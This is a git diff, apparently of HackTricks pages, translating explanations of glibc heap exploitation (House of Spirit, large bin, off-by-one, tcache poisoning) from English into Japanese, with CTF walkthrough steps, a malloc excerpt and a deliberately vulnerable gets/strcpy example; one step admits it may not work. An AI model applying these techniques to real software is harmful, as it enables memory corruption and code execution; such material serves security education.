necessary to create the second chunk in order to bypass some sanity checks. +> いくつかのサニティチェックをバイパスするために、2番目のチャンクを作成する必要があることに注意してください。 -## Examples +## 例 - **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html) - - **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF - - **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\ - Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell. +- **Libc infoleak**: オーバーフローを介して、ポインタをGOTアドレスに変更することで、CTFのreadアクションを介してlibcアドレスを漏洩させることが可能です。 +- **House of Spirit**: "ライフル"の数をカウントするカウンタを悪用することで、最初の偽チャンクの偽のサイズを生成し、次に"メッセージ"を悪用することで、チャンクの2番目のサイズを偽装し、最後にオーバーフローを悪用することで、解放される予定のポインタを変更し、最初の偽チャンクが解放されるようにします。その後、これを割り当てると、"メッセージ"が保存されているアドレスが内部にあります。次に、これをGOTテーブル内の`scanf`エントリにポイントさせることができるので、systemのアドレスで上書きすることができます。\ +次回`scanf`が呼び出されると、入力`"/bin/sh"`を送信してシェルを取得できます。 - [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/) - - **Glibc leak**: Uninitialized stack buffer. - - **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive. +- **Glibc leak**: 初期化されていないスタックバッファ。 +- **House of Spirit**: ヒープポインタのグローバル配列の最初のインデックスを変更できます。1バイトの変更で、有効なチャンク内の偽チャンクに`free`を使用し、再度割り当てた後にオーバーラップするチャンクの状況を得ることができます。それにより、単純なTcacheポイズニング攻撃が機能し、任意の書き込みプリミティブを取得できます。 -## References +## 参考文献 - [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit) diff --git a/src/binary-exploitation/libc-heap/large-bin-attack.md b/src/binary-exploitation/libc-heap/large-bin-attack.md index fb8a721c9..9d2556c89 100644 --- a/src/binary-exploitation/libc-heap/large-bin-attack.md +++ b/src/binary-exploitation/libc-heap/large-bin-attack.md @@ -2,57 +2,55 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -For more information about what is a large bin check this page: +大きなビンについての詳細はこのページを参照してください: {{#ref}} bins-and-memory-allocations.md {{#endref}} -It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). +[**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c) で素晴らしい例を見つけることができます。 -Basically here you can see how, in the latest "current" version of glibc (2.35), it's not checked: **`P->bk_nextsize`** allowing to modify an arbitrary address with the value of a large bin chunk if certain conditions are met. +基本的に、最新の "current" バージョンの glibc (2.35) では、**`P->bk_nextsize`** がチェックされていないため、特定の条件が満たされると、大きなビンチャンクの値で任意のアドレスを変更することができます。 -In that example you can find the following conditions: +その例では、以下の条件が見つかります: -- A large chunk is allocated -- A large chunk smaller than the first one but in the same index is allocated - - Must be smalled so in the bin it must go first -- (A chunk to prevent merging with the top chunk is created) -- Then, the first large chunk is freed and a new chunk bigger than it is allocated -> Chunk1 goes to the large bin -- Then, the second large chunk is freed -- Now, the vulnerability: The attacker can modify `chunk1->bk_nextsize` to `[target-0x20]` -- Then, a larger chunk than chunk 2 is allocated, so chunk2 is inserted in the large bin overwriting the address `chunk1->bk_nextsize->fd_nextsize` with the address of chunk2 +- 大きなチャンクが割り当てられる +- 最初のものより小さいが同じインデックスにある大きなチャンクが割り当てられる +- ビン内で最初に入る必要があるため、より小さくなければならない +- (トップチャンクとのマージを防ぐためのチャンクが作成される) +- その後、最初の大きなチャンクが解放され、それより大きな新しいチャンクが割り当てられる -> Chunk1 が大きなビンに入る +- 次に、2番目の大きなチャンクが解放される +- ここで脆弱性:攻撃者は `chunk1->bk_nextsize` を `[target-0x20]` に変更できる +- その後、チャンク2よりも大きなチャンクが割り当てられるため、チャンク2が大きなビンに挿入され、アドレス `chunk1->bk_nextsize->fd_nextsize` がチャンク2のアドレスで上書きされる > [!TIP] -> There are other potential scenarios, the thing is to add to the large bin a chunk that is **smaller** than a current X chunk in the bin, so it need to be inserted just before it in the bin, and we need to be able to modify X's **`bk_nextsize`** as thats where the address of the smaller chunk will be written to. - -This is the relevant code from malloc. Comments have been added to understand better how the address was overwritten: +> 他にも潜在的なシナリオがありますが、重要なのは、ビン内の現在の X チャンクよりも **小さい** チャンクを大きなビンに追加することです。したがって、それはビン内の X の直前に挿入される必要があり、X の **`bk_nextsize`** を変更できる必要があります。そこに小さいチャンクのアドレスが書き込まれるからです。 +これは malloc からの関連コードです。アドレスがどのように上書きされたかを理解するためにコメントが追加されています: ```c /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck->bk)); if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) - { - fwd = bck; // fwd = p1 - bck = bck->bk; // bck = p1->bk +{ +fwd = bck; // fwd = p1 +bck = bck->bk; // bck = p1->bk - victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk) - victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize - fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2 - } +victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk) +victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize +fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2 +} ``` +これは、libcの**`global_max_fast`グローバル変数を上書きするために使用される可能性があり**、その後、大きなチャンクを使用してファストビン攻撃を悪用します。 -This could be used to **overwrite the `global_max_fast` global variable** of libc to then exploit a fast bin attack with larger chunks. +この攻撃の別の素晴らしい説明は、[**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html)で見つけることができます。 -You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html). - -### Other examples +### その他の例 - [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/) - - Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). - - The write primitive is more complex, because `global_max_fast` is useless here. - - FSOP is needed to finish the exploit. +- [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c)に表示されるのと同じ状況での大きなビン攻撃。 +- 書き込みプリミティブはより複雑で、ここでは`global_max_fast`は無意味です。 +- エクスプロイトを完了するにはFSOPが必要です。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/off-by-one-overflow.md b/src/binary-exploitation/libc-heap/off-by-one-overflow.md index 000044db5..36001a502 100644 --- a/src/binary-exploitation/libc-heap/off-by-one-overflow.md +++ b/src/binary-exploitation/libc-heap/off-by-one-overflow.md @@ -2,114 +2,112 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -Having just access to a 1B overflow allows an attacker to modify the `size` field from the next chunk. This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk. The exploitation is similar to [double free](double-free.md) or overlapping chunks. +1Bのオーバーフローにアクセスすることで、攻撃者は次のチャンクの`size`フィールドを変更できます。これにより、実際に解放されるチャンクを改ざんでき、別の正当なチャンクを含むチャンクを生成する可能性があります。このエクスプロイトは[ダブルフリー](double-free.md)やオーバーラップチャンクに似ています。 -There are 2 types of off by one vulnerabilities: +オフバイワンの脆弱性には2種類あります: -- Arbitrary byte: This kind allows to overwrite that byte with any value -- Null byte (off-by-null): This kind allows to overwrite that byte only with 0x00 - - A common example of this vulnerability can be seen in the following code where the behavior of `strlen` and `strcpy` is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk. - - This can be expoited with the [House of Einherjar](house-of-einherjar.md). - - If using Tcache, this can be leveraged to a [double free](double-free.md) situation. +- 任意のバイト:このタイプは、そのバイトを任意の値で上書きすることを可能にします +- ヌルバイト(オフバイヌル):このタイプは、そのバイトを0x00でのみ上書きすることを可能にします +- この脆弱性の一般的な例は、`strlen`と`strcpy`の動作が不一致である以下のコードに見られ、次のチャンクの先頭に0x00バイトを設定できることです。 +- これは[エインヘリヤルの家](house-of-einherjar.md)を使ってエクスプロイトできます。 +- Tcacheを使用している場合、これは[ダブルフリー](double-free.md)の状況に利用できます。
-Off-by-null - +オフバイヌル ```c // From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/ int main(void) { - char buffer[40]=""; - void *chunk1; - chunk1 = malloc(24); - puts("Get Input"); - gets(buffer); - if(strlen(buffer)==24) - { - strcpy(chunk1,buffer); - } - return 0; +char buffer[40]=""; +void *chunk1; +chunk1 = malloc(24); +puts("Get Input"); +gets(buffer); +if(strlen(buffer)==24) +{ +strcpy(chunk1,buffer); +} +return 0; } ``` -
-Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28. +他のチェックの中で、現在、チャンクが解放されるたびに、前のサイズがメタデータのチャンクに設定されたサイズと比較されるため、この攻撃はバージョン2.28からかなり複雑になっています。 -### Code example: +### コード例: - [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c) -- This attack is no longer working due to the use of Tcaches. - - Moreover, if you try to abuse it using larger chunks (so tcaches aren't involved), you will get the error: `malloc(): invalid next size (unsorted)` +- この攻撃はTcachesの使用によりもはや機能しません。 +- さらに、より大きなチャンクを使用して悪用しようとすると(tcachesが関与しないように)、次のエラーが発生します: `malloc(): invalid next size (unsorted)` -### Goal +### 目標 -- Make a chunk be contained inside another chunk so writing access over that second chunk allows to overwrite the contained one +- チャンクが別のチャンクの中に含まれるようにし、その2番目のチャンクへの書き込みアクセスが含まれているチャンクを上書きできるようにする -### Requirements +### 要件 -- Off by one overflow to modify the size metadata information +- サイズメタデータ情報を変更するためのオフバイワンオーバーフロー -### General off-by-one attack +### 一般的なオフバイワン攻撃 -- Allocate three chunks `A`, `B` and `C` (say sizes 0x20), and another one to prevent consolidation with the top-chunk. -- Free `C` (inserted into 0x20 Tcache free-list). -- Use chunk `A` to overflow on `B`. Abuse off-by-one to modify the `size` field of `B` from 0x21 to 0x41. -- Now we have `B` containing the free chunk `C` -- Free `B` and allocate a 0x40 chunk (it will be placed here again) -- We can modify the `fd` pointer from `C`, which is still free (Tcache poisoning) +- チャンク `A`、`B`、`C`(サイズ0x20と仮定)を3つ割り当て、トップチャンクとの統合を防ぐためにもう1つを割り当てます。 +- `C`を解放します(0x20 Tcacheフリーリストに挿入されます)。 +- チャンク `A`を使用して`B`にオーバーフローします。オフバイワンを悪用して、`B`の`size`フィールドを0x21から0x41に変更します。 +- これで、`B`が解放されたチャンク`C`を含むようになります。 +- `B`を解放し、0x40チャンクを割り当てます(再びここに配置されます)。 +- まだ解放されている`C`の`fd`ポインタを変更できます(Tcacheポイズニング)。 -### Off-by-null attack +### オフバイヌル攻撃 -- 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that it’s 0x10 smaller than it really is). -- Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should. -- Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c. -- Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2. +- メモリの3つのチャンク(a、b、c)が順番に予約されます。次に、中間のチャンクが解放されます。最初のチャンクにはオフバイワンオーバーフローの脆弱性があり、攻撃者は0x00を使用して悪用します(前のバイトが0x10だった場合、中間のチャンクは実際よりも0x10小さいことを示します)。 +- 次に、中間の解放されたチャンク(b)に2つの小さなチャンクが割り当てられますが、`b + b->size`は、指されているアドレスが必要なサイズよりも小さいため、チャンクcを更新しません。 +- 次に、b1とcが解放されます。`c - c->prev_size`はまだb(現在はb1)を指しているため、両方が1つのチャンクに統合されます。しかし、b2はまだb1とcの間にあります。 +- 最後に、新しいmallocが実行され、このメモリ領域を再利用します。実際にはb2を含むことになり、新しいmallocの所有者がb2の内容を制御できるようになります。 -This image explains perfectly the attack: +この画像は攻撃を完璧に説明しています:

https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks

-## Other Examples & References +## その他の例と参考文献 - [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks) - [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/) - - Off-by-one because of `strlen` considering the next chunk's `size` field. - - Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning. +- `strlen`が次のチャンクの`size`フィールドを考慮するため、オフバイワン。 +- Tcacheが使用されているため、一般的なオフバイワン攻撃がTcacheポイズニングを使用して任意の書き込みプリミティブを取得するのに機能します。 - [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks) - - It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field. - - Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write. - - The libc address is leaked because if the heap is extended using mmap, the memory allocated by mmap has a fixed offset from libc. - - Finally the arbitrary write is abused to write into the address of \_\_free_hook with a one gadget. +- オフバイワンを悪用してヒープからアドレスを漏洩させることが可能です。これは、文字列の終わりのバイト0x00が次のフィールドによって上書きされるためです。 +- 任意の書き込みは、オフバイワンの書き込みを悪用してポインタを別の場所に指すようにし、そこに偽の構造体と偽のポインタを構築します。次に、この構造体のポインタをたどって任意の書き込みを取得できます。 +- libcアドレスが漏洩するのは、ヒープがmmapを使用して拡張されると、mmapによって割り当てられたメモリがlibcから固定オフセットを持つためです。 +- 最後に、任意の書き込みが悪用され、__free_hookのアドレスにone gadgetが書き込まれます。 - [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb) - - There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content. - - In the writeup 5 initial chunks are created: - - chunk1 (0x200) - - chunk2 (0x50) - - chunk5 (0x68) - - chunk3 (0x1f8) - - chunk4 (0xf0) - - chunk defense (0x400) to avoid consolidating with top chunk - - Then chunk 1, 5 and 3 are freed, so: - - ```python - [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] - ``` - - Then abusing chunk3 (0x1f8) the null off-by-one is abused writing the prev_size to `0x4e0`. - - Note how the sizes of the initially allocated chunks1, 2, 5 and 3 plus the headers of 4 of those chunks equals to `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0` - - Then, chunk 4 is freed, generating a chunk that consumes all the chunks till the beginning: - - ```python - [ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ] - ``` - - ```python - [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] - ``` - - Then, `0x200` bytes are allocated filling the original chunk 1 - - And another 0x200 bytes are allocated and chunk2 is destroyed and therefore there isn't no fucking leak and this doesn't work? Maybe this shouldn't be done - - Then, it allocates another chunk with 0x58 "a"s (overwriting chunk2 and reaching chunk5) and modifies the `fd` of the fast bin chunk of chunk5 pointing it to `__malloc_hook` - - Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk - - Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address +- ユーザー入力行を読み取る`getline`関数にNULLオフバイワンの脆弱性があります。この関数は、コンテンツの「キー」を読み取るために使用され、コンテンツ自体ではありません。 +- 書き込みには最初に5つのチャンクが作成されます: +- chunk1 (0x200) +- chunk2 (0x50) +- chunk5 (0x68) +- chunk3 (0x1f8) +- chunk4 (0xf0) +- チャンク防御 (0x400) はトップチャンクとの統合を避けるためのものです。 +- 次に、チャンク1、5、3が解放されるので: +- ```python +[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] +``` +- 次に、チャンク3 (0x1f8)を悪用して、nullオフバイワンがprev_sizeを`0x4e0`に書き込みます。 +- 最初に割り当てられたチャンク1、2、5、3のサイズとそれらのチャンクのヘッダーの合計が`0x4e0`に等しいことに注意してください:`hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0` +- 次に、チャンク4が解放され、すべてのチャンクを消費するチャンクが生成されます: +- ```python +[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ] +``` +- ```python +[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] +``` +- 次に、`0x200`バイトが割り当てられ、元のチャンク1が埋められます。 +- そして、別の0x200バイトが割り当てられ、チャンク2が破壊され、したがって漏洩は発生せず、これは機能しませんか?おそらく、これは行うべきではありません。 +- 次に、0x58の"a"で別のチャンクが割り当てられ(チャンク2を上書きし、チャンク5に到達)、チャンク5のファストビンチャンクの`fd`を`__malloc_hook`を指すように変更します。 +- 次に、0x68のチャンクが割り当てられ、`__malloc_hook`の偽のファストビンチャンクが次のファストビンチャンクになります。 +- 最後に、0x68の新しいファストビンチャンクが割り当てられ、`__malloc_hook`が`one_gadget`アドレスで上書きされます。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md b/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md index 117f462b6..f1b7cc83d 100644 --- a/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md +++ b/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md @@ -1,23 +1,23 @@ -# Overwriting a freed chunk +# 解放されたチャンクの上書き {{#include ../../banners/hacktricks-training.md}} -Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access: +提案されたヒープ悪用技術のいくつかは、解放されたチャンク内のポインタを上書きする必要があります。このページの目的は、このアクセスを許可する可能性のある脆弱性を要約することです: -### Simple Use After Free +### 簡単な使用後の解放 -If it's possible for the attacker to **write info in a free chunk**, they could abuse this to overwrite the needed pointers. +攻撃者が**解放されたチャンクに情報を書き込む**ことができる場合、必要なポインタを上書きするためにこれを悪用することができます。 -### Double Free +### ダブルフリー -If the attacker can **`free` two times the same chunk** (free other chunks in between potentially) and make it be **2 times in the same bin**, it would be possible for the user to **allocate the chunk later**, **write the needed pointers** and then **allocate it again** triggering the actions of the chunk being allocated (e.g. fast bin attack, tcache attack...) +攻撃者が**同じチャンクを2回`free`**することができ(その間に他のチャンクを解放する可能性があります)、それが**同じビンに2回存在する**ようにすると、ユーザーは**後でチャンクを割り当て**、**必要なポインタを書き込み**、その後**再度割り当て**することで、チャンクが割り当てられるアクションを引き起こすことが可能になります(例:ファストビン攻撃、tcache攻撃...)。 -### Heap Overflow +### ヒープオーバーフロー -It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it. +**解放されたチャンクの次に割り当てられたチャンクをオーバーフロー**させ、そのヘッダー/ポインタの一部を変更することが可能かもしれません。 -### Off-by-one overflow +### オフバイワンオーバーフロー -In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore an overlapping chunks situation**, which is exploitable the same way to a **heap overflow** (check previous section). +この場合、メモリ内の次のチャンクの**サイズを変更**することが可能です。攻撃者はこれを悪用して、**割り当てられたチャンクのサイズを大きくし**、その後**`free`**し、チャンクが**異なるサイズのビンに追加される**ようにし(大きい)、次に**偽のサイズを割り当て**ることで、攻撃は**実際のサイズよりも大きいサイズのチャンクにアクセス**できるようになり、**したがってオーバーラップしたチャンクの状況を許可**し、これは**ヒープオーバーフロー**と同じ方法で悪用可能です(前のセクションを確認してください)。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/tcache-bin-attack.md b/src/binary-exploitation/libc-heap/tcache-bin-attack.md index 7c69db95c..aa4f3e4da 100644 --- a/src/binary-exploitation/libc-heap/tcache-bin-attack.md +++ b/src/binary-exploitation/libc-heap/tcache-bin-attack.md @@ -2,46 +2,46 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -For more information about what is a Tcache bin check this page: +Tcache bin についての詳細はこのページを参照してください: {{#ref}} bins-and-memory-allocations.md {{#endref}} -First of all, note that the Tcache was introduced in Glibc version 2.26. +まず最初に、TcacheはGlibcバージョン2.26で導入されたことに注意してください。 -The **Tcache attack** (also known as **Tcache poisoning**) proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**. +**Tcache攻撃**(**Tcache poisoning**とも呼ばれる)は、[**guyinatuxidoページ**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html)で提案されており、目的は解放されたチャンク内のビンの次のチャンクへのポインタを任意のアドレスに上書きすることで、後でその特定のアドレスを**割り当ててポインタを上書きする**ことが可能になります。 -However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned). +しかし、現在、前述のコードを実行すると、エラーが発生します:**`malloc(): unaligned tcache chunk detected`**。したがって、新しいポインタに書き込むアドレスはアラインされたアドレスである必要があります(または、書き込まれたアドレスが実際にアラインされるまでバイナリを十分に実行する必要があります)。 -### Tcache indexes attack +### Tcacheインデックス攻撃 -Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like `__malloc_hook`) to then allocated a chunk of the size of the index and overwrite the contents of `__malloc_hook` in this case. +通常、ヒープの最初に**インデックスごとのチャンクの数**を含むチャンクと、各Tcacheインデックスの**ヘッドチャンクのアドレス**が見つかります。何らかの理由でこの情報を変更できる場合、**特定のインデックスのヘッドチャンクを希望のアドレス**(例えば`__malloc_hook`)にポイントさせることが可能になり、その後インデックスのサイズのチャンクを割り当てて、`__malloc_hook`の内容を上書きすることができます。 -## Examples +## 例 - CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html) - - **Libc info leak**: It's possible to fill the tcaches, add a chunk into the unsorted list, empty the tcache and **re-allocate the chunk from the unsorted bin** only overwriting the first 8B, leaving the **second address to libc from the chunk intact so we can read it**. - - **Tcache attack**: The binary is vulnerable a 1B heap overflow. This will be abuse to change the **size header** of an allocated chunk making it bigger. Then, this chunk will be **freed**, adding it to the tcache of chunks of the fake size. Then, we will allocate a chunk with the faked size, and the previous chunk will be **returned knowing that this chunk was actually smaller** and this grants up the opportunity to **overwrite the next chunk in memory**.\ - We will abuse this to **overwrite the next chunk's FD pointer** to point to **`malloc_hook`**, so then its possible to alloc 2 pointers: first the legit pointer we just modified, and then the second allocation will return a chunk in **`malloc_hook`** that it's possible to abuse to write a **one gadget**. +- **Libc情報漏洩**:Tcacheを埋め、未ソートリストにチャンクを追加し、Tcacheを空にし、**未ソートビンからチャンクを再割り当てする**ことが可能です。最初の8Bを上書きするだけで、**チャンクからのlibcの2番目のアドレスをそのままにしておくことができます**。 +- **Tcache攻撃**:バイナリは1Bのヒープオーバーフローに脆弱です。これを利用して、割り当てられたチャンクの**サイズヘッダー**を変更して大きくします。その後、このチャンクは**解放され**、偽のサイズのチャンクのTcacheに追加されます。次に、偽のサイズのチャンクを割り当てると、前のチャンクが**返され、実際にはこのチャンクが小さいことがわかります**。これにより、**メモリ内の次のチャンクを上書きする**機会が得られます。\ +これを利用して、**次のチャンクのFDポインタを**`malloc_hook`にポイントさせ、最初に修正した正当なポインタを割り当て、その後の割り当てで**`malloc_hook`**にチャンクを返すことが可能になります。これを利用して**one gadget**を書き込むことができます。 - CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html) - - **Libc info leak**: There is a use after free and a double free. In this writeup the author leaked an address of libc by readnig the address of a chunk placed in a small bin (like leaking it from the unsorted bin but from the small one) - - **Tcache attack**: A Tcache is performed via a **double free**. The same chunk is freed twice, so inside the Tcache the chunk will point to itself. Then, it's allocated, its FD pointer is modified to point to the **free hook** and then it's allocated again so the next chunk in the list is going to be in the free hook. Then, this is also allocated and it's possible to write a the address of `system` here so when a malloc containing `"/bin/sh"` is freed we get a shell. +- **Libc情報漏洩**:使用後の解放と二重解放があります。この書き込みでは、著者が小さなビンに配置されたチャンクのアドレスを読み取ることでlibcのアドレスを漏洩させました(未ソートビンから漏洩するのと同様ですが、小さなビンからです)。 +- **Tcache攻撃**:Tcacheは**二重解放**を介して実行されます。同じチャンクが2回解放されるため、Tcache内でチャンクは自分自身を指します。その後、割り当てられ、FDポインタが**free hook**を指すように変更され、再度割り当てられると、リスト内の次のチャンクがfree hookに入ります。次に、これも割り当てられ、ここに`system`のアドレスを書き込むことが可能になるため、`"/bin/sh"`を含むmallocが解放されるとシェルが得られます。 - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html) - - The main vuln here is the capacity to `free` any address in the heap by indicating its offset - - **Tcache indexes attack**: It's possible to allocate and free a chunk of a size that when stored inside the tcache chunk (the chunk with the info of the tcache bins) will generate an **address with the value 0x100**. This is because the tcache stores the amount of chunks on each bin in different bytes, therefore one chunk in one specific index generates the value 0x100. - - Then, this value looks like there is a chunk of size 0x100. Allowing to abuse it by `free` this address. This will **add that address to the index of chunks of size 0x100 in the tcache**. - - Then, **allocating** a chunk of size **0x100**, the previous address will be returned as a chunk, allowing to overwrite other tcache indexes.\ - For example putting the address of malloc hook in one of them and allocating a chunk of the size of that index will grant a chunk in calloc hook, which allows for writing a one gadget to get a s shell. +- ここでの主な脆弱性は、オフセットを指定することでヒープ内の任意のアドレスを`free`できる能力です。 +- **Tcacheインデックス攻撃**:Tcacheチャンク(Tcacheビンの情報を持つチャンク)内に格納されるサイズのチャンクを割り当てて解放することで、**値0x100のアドレスを生成する**ことが可能です。これは、Tcacheが各ビンのチャンク数を異なるバイトに格納するため、特定のインデックスのチャンクが値0x100を生成するからです。 +- その後、この値はサイズ0x100のチャンクがあるように見えます。これにより、このアドレスを`free`することで悪用できます。これにより、**Tcache内のサイズ0x100のチャンクのインデックスにそのアドレスが追加されます**。 +- 次に、**サイズ0x100のチャンクを割り当てると、前のアドレスがチャンクとして返され、他のTcacheインデックスを上書きすることが可能になります**。\ +例えば、malloc hookのアドレスをそのうちの1つに入れ、そのインデックスのサイズのチャンクを割り当てることで、calloc hookにチャンクを得ることができ、one gadgetを書き込んでシェルを得ることができます。 - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html) - - Same vulnerability as before with one extra restriction - - **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it. +- 前回と同じ脆弱性ですが、1つの追加制限があります。 +- 